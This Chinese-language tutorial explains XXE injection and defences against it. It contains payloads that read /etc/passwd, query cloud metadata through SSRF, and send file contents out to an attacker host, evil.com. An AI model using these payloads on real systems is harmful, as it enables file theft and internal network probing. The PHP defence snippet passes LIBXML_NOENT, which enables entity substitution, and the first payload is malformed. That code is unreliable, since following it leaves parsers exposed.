|
XML外部实体注入(XXE)——解析器引发的灾难 摘要:XML外部实体注入(XXE, XML eXternal Entity)是针对未安全配置的XML解析器的攻击,利用外部实体声明读取本地文件、执行SSRF请求甚至导致拒绝服务。尽管XML日渐式微,但SOAP、SAML、RSS等老协议以及大量企业级应用中仍广泛使用XML,XXE从2017年起持续位于OWASP Top 10。本文详细阐述XXE的攻击原理,介绍带外交互、Blind XXE利用方式,并给出禁用外部实体、升级解析库等防御措施。 关键词:黑客网站攻击;XXE;XML外部实体注入;渗透测试;SSRF;解析器安全;Blind XXE 一、引言许多应用程序接收XML格式的输入(如API请求、WebService、文件上传),并使用XML库解析。如果解析器允许外部实体(DOCTYPE声明),攻击者可以定义外部实体引用本地文件或远程URL,解析时即被包含。通过XXE,攻击者能读取任意文件、扫描内网端口、甚至利用jar:协议进行代码执行。由于开发者往往忽略XML解析器的配置,XXE成为黑客网站攻击中隐蔽而有效的突破口。 二、XXE攻击原理2.1 外部实体定义XML文档可通过<!ENTITY>定义实体,其中外部实体语法为<!ENTITY 实体名 SYSTEM "URI">。解析器读取该URI的内容并替换到实体引用位置。 2.2 简单利用示例请求报文: [size=12.573px]xml
<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">><user><name>&xxe;</name></user>
服务器响应中可能包含<name>root:x:0:0:...</name>,泄露密码文件。 三、渗透测试高级利用3.1 读取目录列表(特定平台)3.2 SSRF(服务端请求伪造)[size=12.573px]xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
可扫描内网、读取AWS元数据。 3.3 Blind XXE(无回显)当解析结果不直接输出时,可通过外带数据通道: [size=12.573px]xml
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://evil.com/xxe.dtd">%dtd;
在外部DTD文件: [size=12.573px]xml
<!ENTITY % send SYSTEM "http://evil.com/log?data=%file;">
将文件内容作为URL参数发送到攻击者服务器。 3.4 DoS攻击(Billion Laughs)嵌套实体展开导致内存耗尽。 四、防御XXE的完整方案4.1 禁用外部实体(最有效)每种语言的XML解析器都应显式禁用DTD或外部实体: [size=12.573px]java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
[size=12.573px]php
libxml_disable_entity_loader(true);$dom = new DOMDocument();$dom->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);
[size=12.573px]python
from lxml import etreeparser = etree.XMLParser(resolve_entities=False)tree = etree.fromstring(xml_data, parser)
[size=12.573px]csharp
XmlReaderSettings settings = new XmlReaderSettings();settings.DtdProcessing = DtdProcessing.Prohibit;
4.2 使用替代格式尽量使用JSON而不是XML,从根本上避免XXE。 4.3 输入验证与上传文件检测五、检测XXE漏洞六、总结XXE攻击直接源于XML解析器默认允许危险行为。防御措施非常简单:禁用外部实体和DTD。如果业务必须使用外部实体,则需严格白名单控制引用的URI,并对解析结果进行安全审查。多数情况下,禁用外部实体不影响正常功能。
|